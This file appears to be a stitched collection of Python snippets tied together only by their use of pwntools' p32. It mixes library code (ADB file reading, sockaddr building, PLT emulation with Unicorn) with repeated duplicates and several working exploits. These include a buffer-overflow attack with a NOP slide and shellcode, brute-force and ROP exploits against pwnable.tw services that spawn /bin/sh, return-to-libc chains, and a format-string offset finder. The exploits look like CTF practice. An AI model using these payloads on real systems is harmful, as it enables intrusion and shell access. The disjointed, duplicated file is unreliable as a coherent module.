def pad_addr(address, bits, endian='little'): """ Pads the given address (int) to the given number of bits, returning a bytes object representation of the address with the given endianness """ if bits == 32: return p32(address, endian=endian) elif bits == 64: botAddr = address & 0xFFFFFFFF topAddr = (address >> 32) & 0xFFFFFFFF return p32(topAddr, endian=endian) + p32(botAddr, endian=endian) else: print("[-] Unknown architecture:", bits) exit(1)
def try_attack(n): stack = int("ff*+-000" \ .replace("*", al[R(0, len(al) - 1)]) \ .replace("+", al[R(0, len(al) - 1)]) \ .replace("-", al[R(0, len(al) - 1)]), 16) payload = b"A" * 16 payload += p32(stack) payload += nop_slide(shellcode) data = b"" data += f"POST /static/{due('../../../proc/self/fd/0')} HTTP/1.1\r\n".encode() data += f"Host: {ip}:31337\r\n".encode() data += (b"Kekmeister: " + b"\x90" * 200 + b"\r\n") * 100 data += f"Content-Length: {len(payload)}\r\n\r\n".encode() data += payload s = socket.socket() s.connect((ip, 31337)) s.sendall(data) time.sleep(5) r = s.recv(30000) s.close() flags = re.findall(flag_re, r) if len(flags) > 0: print(flags) else: print(f'Attack {n}')
def read(self, path, filesize=0, callback=lambda *a: True): """Execute the ``READ`` command of the ``SYNC`` API. Arguments: path(str): Path to the file to read filesize(int): Size of the file, in bytes. Optional. callback(callable): Callback function invoked as data becomes available. Arguments provided are: - File path - All data - Expected size of all data - Current chunk - Expected size of chunk Return: The data received as a string. """ if isinstance(path, six.text_type): path = path.encode('utf-8') self.c.send(b'RECV' + p32(len(path)) + path) # Accumulate all data here all_data = b'' while True: magic = self.c.recvn(4) # adbd says there is no more data to send if magic == b'DONE': break if magic == FAIL: self.error('Could not read file %r: Got FAIL.' % path) # did we expect to be done? if magic != b'DATA': self.error('Error after file read: %r (expected DATA)' % magic) # receive all of the data in the chunk chunk_size = self.c.u32() chunk_data = b'' while len(chunk_data) != chunk_size: chunk_data += self.c.recv(chunk_size - len(chunk_data)) if callback: callback(path, all_data, filesize, chunk_data, chunk_size) # add the chunk onto what we have all_data += chunk_data zero = self.c.u32() if zero != 0: self.error('Error after file read: %r (expected ZERO)' % zero) return all_data
def main(): # payload = "" padChar2 = b"\x90" padSize = 32 # Initial payload hello = "\nHello, world!\n\n" # We are using putchar function from libc # as example to chain multiple function calls/gadgets # For each character in our phrase, there is putchar call payload = padChar2 * padSize for char in hello: # Generate payload for printing 'Hello, world!' # payload += p32(libc_entry + offset_putchar) # function p32 changes payload += p32(libc_entry + offset_putchar) # memoryaddress to correct format (reversed and opcoded) # whattodo after = pop/ret gadget payload += p32(libc_entry + offset_pr) # pwntools function pack, is packing our input to 32-bit memory # address with correct syntax. Ord is changing character to ASCII code payload += pack( ord(char), 32, 'little', # function arguments False).replace(b"\x00", b"\xff") # Replacing nulls with '\xff', which are generated in by packing to # fullfil 32-bit size payload += p32(libc_entry + offset_pr) payload += p32(0xffffffff) # Some address, we do not care, we are exiting # so value does not matter. payload += p32(libc_entry + offset_exit) # Writing payload to txt file just in case, # if we want to run program without script f = open("payload.txt", "w+") f.write(str(payload)) f.close # C program is using payload as args try: p = process(["../vuln_progs/Overflow", payload]) log.info(p.recvall(timeout=0.5)) except PwnlibException: print("Nulls in arguments.")
def read(self, path, filesize=0, callback=lambda *a: True): """Execute the ``READ`` command of the ``SYNC`` API. Arguments: path(str): Path to the file to read filesize(int): Size of the file, in bytes. Optional. callback(callable): Callback function invoked as data becomes available. Arguments provided are: - File path - All data - Expected size of all data - Current chunk - Expected size of chunk Return: The data received as a string. """ self.c.send('RECV' + p32(len(path)) + path) # Accumulate all data here all_data = '' while True: magic = self.c.recvn(4) # adbd says there is no more data to send if magic == 'DONE': break if magic == 'FAIL': self.error('Could not read file %r: Got FAIL.' % path) # did we expect to be done? if magic != 'DATA': self.error('Error after file read: %r (expected DATA)' % magic) # receive all of the data in the chunk chunk_size = self.c.u32() chunk_data = '' while len(chunk_data) != chunk_size: chunk_data += self.c.recv(chunk_size - len(chunk_data)) if callback: callback(path, all_data, filesize, chunk_data, chunk_size) # add the chunk onto what we have all_data += chunk_data zero = self.c.u32() if zero != 0: self.error('Error after file read: %r (expected ZERO)' % zero) return all_data
def main(): # payload = "" padChar2 = "\x90" padSize = 32 # Initial payload hello = "\nHello, world!\n\n" # We are using putchar function from libc # as example to chain multiple function calls/gadgets # For each character in our phrase, there is putchar call payload = padChar2 * padSize for char in hello: # Generate payload for printing 'Hello, world!' # payload += p32(libc_entry + offset_putchar) # function p32 changes payload += p32(libc_entry + offset_putchar) # memoryaddress to correct format (reversed and opcoded) # whattodo after = pop/ret gadget payload += p32(libc_entry + offset_pr) # pwntools function pack, is packing our input to 32-bit memory # address with correct syntax. Ord is changing character to ASCII code payload += pack(ord(char), 32, 'little', # function arguments False).replace("\x00", "\xff") # Replacing nulls with '\xff', which are generated in by packing to # fullfil 32-bit size payload += p32(libc_entry + offset_pr) payload += p32(0xffffffff) # Some address, we do not care, we are exiting # so value does not matter. payload += p32(libc_entry + offset_exit) # Writing payload to txt file just in case, # if we want to run program without script f = open("payload.txt", "w+") f.write(payload) f.close # C program is using payload as args try: p = process(["../vuln_progs/Overflow", payload]) log.info(p.recvall(timeout=0.5)) except PwnlibException: print("Nulls in arguments.")
def buffer(sendprintf: Callable[[bytes],bytes], maxlen=20) -> int: '''Bruteforcer to locate the offset of the input string itself. i.e. if buffer() returns 6, printf("%6$d") gives the value of p32("%6$p") Arguments: `sendprintf`: a function that simulates a single printf() call. This is much like the function passable to pwntools' FmtStr(). e.g. def printf(l: bytes): r = process('./mybinary') r.send(l) return r.recvline() buffer = fsb.find_offset.buffer(printf) `maxlen`: the maximum length of the input. If no value is given, the program assumes maxlen=20. Larger values of `maxlen` will allow for faster offset guessing. ''' # Note: if config.PRINTF_MAX becomes really large, this might break guess_n = (maxlen-len("0x%10$x\n")) // context.bytes # So long as more than 1 guess can be done at a time: if guess_n > 1: '''Let's say guess_n=3 words worth of cyclic() can be inputted. If config.PRINTF_MIN=5, then the first payload ought to be cyclic(3*context.bytes) + "0x%{}$x\n".format(5+(3-1)) because the first guess should be able to catch any offset in the range range(config.PRINTF_MIN, config.PRINTF_MIN+guess_n) ''' for offset in range(config.PRINTF_MIN+guess_n-1, config.PRINTF_MAX+guess_n-1, guess_n): payload = cyclic(guess_n*context.bytes) + "0x%{}$x\n".format(offset).encode() extract = sendprintf(payload) if b"(nil)" in extract: extract = 0 else: extract = unpack_hex(extract) # Error will be -1 if extract != -1 and 0 <= (found := cyclic_find(p32(extract))) < len(payload): assert found%context.bytes == 0 # if not, the offset is non-aligned log.info('%s for buffer: %d' % (__name__, offset-found//context.bytes)) return offset-found//context.bytes raise RuntimeError # Give up
def sockaddr(host, port, network='ipv4'): """sockaddr(host, port, network = 'ipv4') -> (data, length, family) Creates a sockaddr_in or sockaddr_in6 memory buffer for use in shellcode. Arguments: host (str): Either an IP address or a hostname to be looked up. port (int): TCP/UDP port. network (str): Either 'ipv4' or 'ipv6'. Returns: A tuple containing the sockaddr buffer, length, and the address family. """ address_family = {'ipv4': socket.AF_INET, 'ipv6': socket.AF_INET6}[network] for family, _, _, _, ip in socket.getaddrinfo(host, None, address_family): ip = ip[0] if family == address_family: break else: log.error("Could not find %s address for %r" % (network, host)) info = socket.getaddrinfo(host, None, address_family) host = socket.inet_pton(address_family, ip) sockaddr = p16(address_family) sockaddr += pack( port, word_size=16, endianness='big') #Port should be big endian = network byte order length = 0 if network == 'ipv4': sockaddr += host length = 16 # Save ten bytes by skipping two 'push 0' else: sockaddr += p32(0xffffffff) # Save three bytes 'push -1' vs 'push 0' sockaddr += host length = len(sockaddr) + 4 # Save five bytes 'push 0' return (sockaddr, length, getattr(address_family, "name", address_family))
def p32(self, *a, **kw): return self.send(packing.p32(*a, **kw))
def p32(self, address, data, *a, **kw): return self.write(address, packing.p32(data, *a, **kw)) def p16(self, address, data, *a, **kw): return self.write(address, packing.p16(data, *a, **kw))
from pwnlib.tubes.remote import remote from pwnlib.util.packing import p32 from time import sleep random_addr = 0xff89e360 no_whitespace_shellcode = '\x31\xc0\xb0\x30\x01\xc4\x30\xc0\x50\x68\x2f\x2f\x73\x68' \ '\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\xb0\xb0\xc0\xe8\x04' \ '\xcd\x80\xc0\xe8\x03\xcd\x80' for i in range(10000): print i try: r = remote('pwning.pwnable.tw', 48879) print r.recvuntil(':') r.sendline('A'*92 + p32(random_addr) + '\x90'*2048 + no_whitespace_shellcode) print r.recvuntil('!!\n') sleep(0.3) r.sendline('cat /home/bofsofun/flag') sleep(0.3) print r.recv() except: pass r.shutdown()
def arg_reg4(num): return '\x20' + p32(num)
def p32(self, address, data, *a, **kw): """Writes a 32-bit integer ``data`` to the specified ``address``""" return self.write(address, packing.p32(data, *a, **kw))
def prepare_unicorn_and_context(elf, got, address, data): import unicorn as U # Instantiate the emulator with the correct arguments for the current # architecutre. arch = { 'aarch64': U.UC_ARCH_ARM64, 'amd64': U.UC_ARCH_X86, 'arm': U.UC_ARCH_ARM, 'i386': U.UC_ARCH_X86, 'mips': U.UC_ARCH_MIPS, # 'powerpc': U.UC_ARCH_PPC, <-- Not actually supported 'thumb': U.UC_ARCH_ARM, }.get(elf.arch, None) if arch is None: log.warn("Could not emulate PLT instructions for %r" % elf) return {} emulation_bits = elf.bits # x32 uses 64-bit instructions, just restricts itself to a 32-bit # address space. if elf.arch == 'amd64' and elf.bits == 32: emulation_bits = 64 mode = {32: U.UC_MODE_32, 64: U.UC_MODE_64}.get(emulation_bits) if elf.arch in ('arm', 'aarch64'): mode = U.UC_MODE_ARM uc = U.Uc(arch, mode) # Map the page of memory, and fill it with the contents start = address & (~0xfff) stop = (address + len(data) + 0xfff) & (~0xfff) if not (0 <= start <= stop <= (1 << elf.bits)): return None uc.mem_map(start, stop - start) uc.mem_write(address, data) assert uc.mem_read(address, len(data)) == data # MIPS is unique in that it relies entirely on _DYNAMIC, at the beginning # of the GOT. Each PLT stub loads an address stored here. # Because of this, we have to support loading memory from this location. # # https://www.cr0.org/paper/mips.elf.external.resolution.txt magic_addr = 0x7c7c7c7c if elf.arch == 'mips': # Map the GOT so that MIPS can access it p_magic = packing.p32(magic_addr) start = got & (~0xfff) try: uc.mem_map(start, 0x1000) except Exception: # Ignore double-mapping pass uc.mem_write(got, p_magic) # Separately, Unicorn is apparently unable to hook unmapped memory # accesses on MIPS. So we also have to map the page that contains # the magic address. start = magic_addr & (~0xfff) try: uc.mem_map(start, 0x1000) except Exception: # Ignore double-mapping pass trap = packing.p32(0x34000000, endian=elf.endian) uc.mem_write(magic_addr, trap) return uc, uc.context_save()
def arg_imm4(value): return '\x21' + p32(value)
def emulate_plt_instructions_inner(elf, got, pc, data, targets): # Deferred import to not affect load time import unicorn as U # Instantiate the emulator with the correct arguments for the current # architecutre. arch = { 'aarch64': U.UC_ARCH_ARM64, 'amd64': U.UC_ARCH_X86, 'arm': U.UC_ARCH_ARM, 'i386': U.UC_ARCH_X86, 'mips': U.UC_ARCH_MIPS, # 'powerpc': U.UC_ARCH_PPC, <-- Not actually supported 'thumb': U.UC_ARCH_ARM, }.get(elf.arch, None) if arch is None: log.warn("Could not emulate PLT instructions for %r" % elf) return {} emulation_bits = elf.bits # x32 uses 64-bit instructions, just restricts itself to a 32-bit # address space. if elf.arch == 'amd64' and elf.bits == 32: emulation_bits = 64 mode = {32: U.UC_MODE_32, 64: U.UC_MODE_64}.get(emulation_bits) if elf.arch in ('arm', 'aarch64'): mode = U.UC_MODE_ARM uc = U.Uc(arch, mode) # Map the page of memory, and fill it with the contents start = pc & (~0xfff) stop = (pc + len(data) + 0xfff) & (~0xfff) if not (0 <= start <= stop <= (1 << elf.bits)): return None uc.mem_map(start, stop - start) uc.mem_write(pc, data) assert uc.mem_read(pc, len(data)) == data # MIPS is unique in that it relies entirely on _DYNAMIC, at the beginning # of the GOT. Each PLT stub loads an address stored here. # Because of this, we have to support loading memory from this location. # # https://www.cr0.org/paper/mips.elf.external.resolution.txt magic_addr = 0xdbdbdbdb if elf.arch == 'mips': # Map the GOT so that MIPS can access it p_magic = packing.p32(magic_addr) start = got & (~0xfff) try: uc.mem_map(start, start + 0x1000) except Exception: # Ignore double-mapping pass uc.mem_write(got, p_magic) # Separately, Unicorn is apparently unable to hook unmapped memory # accesses on MIPS. So we also have to map the page that contains # the magic address. start = magic_addr & (~0xfff) try: uc.mem_map(start, start + 0x1000) except Exception: # Ignore double-mapping pass trap = packing.p32(0x34000000, endian=elf.endian) uc.mem_write(magic_addr, trap) # Hook invalid addresses and any accesses out of the specified address range stopped_addr = [] def hook_mem(uc, access, address, size, value, user_data): # Special case to allow MIPS to dereference the _DYNAMIC pointer # in the GOT. if elf.arch == 'mips' and address == got: return True user_data.append(address) uc.emu_stop() return False uc.hook_add(U.UC_HOOK_MEM_READ, hook_mem, stopped_addr) uc.hook_add(U.UC_HOOK_MEM_UNMAPPED, hook_mem, stopped_addr) # callback for tracing instructions # def hook_code(uc, address, size, user_data): # print(">>> Tracing instruction at 0x%x, instruction size = 0x%x, data=%r" %(address, size, uc.mem_read(address, size))) # uc.hook_add(U.UC_HOOK_CODE, hook_code) # For Intel, set the value of EBX if elf.arch == 'i386': uc.reg_write(U.x86_const.UC_X86_REG_EBX, got) # Special case for MIPS, which is the most silly architecture # https://sourceware.org/ml/binutils/2004-11/msg00116.html if elf.arch == 'mips' and elf.bits == 32: OFFSET_GP_GOT = 0x7ff0 uc.reg_write(U.mips_const.UC_MIPS_REG_GP, got + 0x7ff0) try: uc.emu_start(pc, until=-1, count=5) except U.UcError as error: UC_ERR = (k for k,v in \ U.unicorn_const.__dict__.items() if error.errno == v and k.startswith('UC_ERR_')).next() log.debug("%#x: %s (%s)", pc, error, UC_ERR) if elf.arch == 'mips': pc = uc.reg_read(U.mips_const.UC_MIPS_REG_PC) if pc + 1 == magic_addr: t8 = uc.reg_read(U.mips_const.UC_MIPS_REG_T8) stopped_addr.append(elf._mips_got.get(t8, 0)) retval = 0 if stopped_addr: retval = stopped_addr.pop() return retval
def arg_mem4(num): return '\x22' + p32(num)
# Option 1: Put a item to the box def put(item): print r.recvuntil(':') r.send('1\n') print r.recvuntil(':') r.send(item) r = remote('pwning.pwnable.tw', 56746) # Padding for i in range(10): put('A'*15 + '\n') # ROP chain put('A'*12 + p32(read_addr)) put(p32(pop_edx_ecx_ebx) + p32(0) + p32(free_buf) + p32(8)) put(p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(free_buf)) put(p32(pop_eax) + p32(0xb) + p32(int_0x80) + p32(0)) # Option 4: give up the box print r.recvuntil(':') r.send('4\n') print r.recvline() # Read to the free buffer r.send('/bin/sh\x00') sleep(1) r.interactive()
def emulate_plt_instructions_inner(elf, got, pc, data, targets): # Deferred import to not affect load time import unicorn as U # Instantiate the emulator with the correct arguments for the current # architecutre. arch = { 'aarch64': U.UC_ARCH_ARM64, 'amd64': U.UC_ARCH_X86, 'arm': U.UC_ARCH_ARM, 'i386': U.UC_ARCH_X86, 'mips': U.UC_ARCH_MIPS, # 'powerpc': U.UC_ARCH_PPC, <-- Not actually supported 'thumb': U.UC_ARCH_ARM, }.get(elf.arch, None) if arch is None: log.warn("Could not emulate PLT instructions for %r" % elf) return {} emulation_bits = elf.bits # x32 uses 64-bit instructions, just restricts itself to a 32-bit # address space. if elf.arch == 'amd64' and elf.bits == 32: emulation_bits = 64 mode = { 32: U.UC_MODE_32, 64: U.UC_MODE_64 }.get(emulation_bits) if elf.arch in ('arm', 'aarch64'): mode = U.UC_MODE_ARM uc = U.Uc(arch, mode) # Map the page of memory, and fill it with the contents start = pc & (~0xfff) stop = (pc + len(data) + 0xfff) & (~0xfff) if not (0 <= start <= stop <= (1 << elf.bits)): return None uc.mem_map(start, stop-start) uc.mem_write(pc, data) assert uc.mem_read(pc, len(data)) == data # MIPS is unique in that it relies entirely on _DYNAMIC, at the beginning # of the GOT. Each PLT stub loads an address stored here. # Because of this, we have to support loading memory from this location. # # https://www.cr0.org/paper/mips.elf.external.resolution.txt magic_addr = 0xdbdbdbdb if elf.arch == 'mips': # Map the GOT so that MIPS can access it p_magic = packing.p32(magic_addr) start = got & (~0xfff) try: uc.mem_map(start, start+0x1000) except Exception: # Ignore double-mapping pass uc.mem_write(got, p_magic) # Separately, Unicorn is apparently unable to hook unmapped memory # accesses on MIPS. So we also have to map the page that contains # the magic address. start = magic_addr & (~0xfff) try: uc.mem_map(start, start+0x1000) except Exception: # Ignore double-mapping pass trap = packing.p32(0x34000000, endian=elf.endian) uc.mem_write(magic_addr, trap) # Hook invalid addresses and any accesses out of the specified address range stopped_addr = [] def hook_mem(uc, access, address, size, value, user_data): # Special case to allow MIPS to dereference the _DYNAMIC pointer # in the GOT. if elf.arch == 'mips' and address == got: return True user_data.append(address) uc.emu_stop() return False uc.hook_add(U.UC_HOOK_MEM_READ, hook_mem, stopped_addr) uc.hook_add(U.UC_HOOK_MEM_UNMAPPED, hook_mem, stopped_addr) # callback for tracing instructions # def hook_code(uc, address, size, user_data): # print(">>> Tracing instruction at 0x%x, instruction size = 0x%x, data=%r" %(address, size, uc.mem_read(address, size))) # uc.hook_add(U.UC_HOOK_CODE, hook_code) # For Intel, set the value of EBX if elf.arch == 'i386': uc.reg_write(U.x86_const.UC_X86_REG_EBX, got) # Special case for MIPS, which is the most silly architecture # https://sourceware.org/ml/binutils/2004-11/msg00116.html if elf.arch == 'mips' and elf.bits == 32: OFFSET_GP_GOT = 0x7ff0 uc.reg_write(U.mips_const.UC_MIPS_REG_GP, got + 0x7ff0) try: uc.emu_start(pc, until=-1, count=5) except U.UcError as error: UC_ERR = (k for k,v in \ U.unicorn_const.__dict__.items() if error.errno == v and k.startswith('UC_ERR_')).next() log.debug("%#x: %s (%s)", pc, error, UC_ERR) if elf.arch == 'mips': pc = uc.reg_read(U.mips_const.UC_MIPS_REG_PC) if pc+1 == magic_addr: t8 = uc.reg_read(U.mips_const.UC_MIPS_REG_T8) stopped_addr.append(elf._mips_got.get(t8, 0)) retval = 0 if stopped_addr: retval = stopped_addr.pop() return retval
def send(data): s.send(p32(len(data)) + data)